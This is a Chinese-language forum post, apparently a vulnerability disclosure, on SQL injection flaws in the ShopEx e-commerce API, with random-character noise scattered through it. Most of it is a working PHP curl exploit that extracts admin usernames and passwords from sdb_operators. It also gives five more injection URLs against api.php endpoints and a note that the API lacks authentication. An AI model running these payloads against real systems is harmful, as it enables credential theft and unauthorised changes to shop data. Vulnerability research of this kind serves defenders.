|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
. Y; R A8 P( X! `core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
, a6 D* I! F2 O3 q+ Y( H
8 `& V i; r' X5 ?; A第44行 $data['columns'] 未做过滤导致注入
" M- T T3 p8 t! A5 U2 X
: A1 |% q/ _8 q% a$ T<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.2 B5 \6 q. h$ i) A
H* L0 k! v* Z i
注射1:
; F8 v, S8 f6 z: r$ C0 P7 y, V x& D( r0 \) ~+ ]9 G
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#! A8 n' }+ ^ w9 h
6 R$ N0 U. x/ `+ P3 ]: `) p9 E注射2:& C- t" B: D- e; i
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}4 `) p# `) [) W5 Y
7 M! d( {2 u* B- y. R# Q! J3 V注射3:8 S& Q! n0 ?& o4 ~/ Z6 o
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx! j4 e9 A$ u9 f! m) p1 g0 }
注射4:) ?9 v4 ^! Y" r5 C5 I& p
+ H" b( R9 W& v7 U2 ]2 ]1 Shttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=14 e; F' Z$ ?' k4 n, B. z8 E
0 R3 z4 j3 @/ b( D
" V0 \8 P, N* U* [
注射5:
; x5 w; a! V9 c. P, |7 U- C) } http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx& ^7 j( {7 E) U+ u: |" \/ v! V
$ ?8 s `: d, M- K1 C
+ F# w. z6 z3 S. U$ d
" W3 |: R$ ], E G+ b0 n( r
B3 \* J3 H0 Z& y% b7 W8 R7 l0 r2 I1 s6 b
% \' j& H6 Y1 u( M8 z2 C* n S' o( O |
|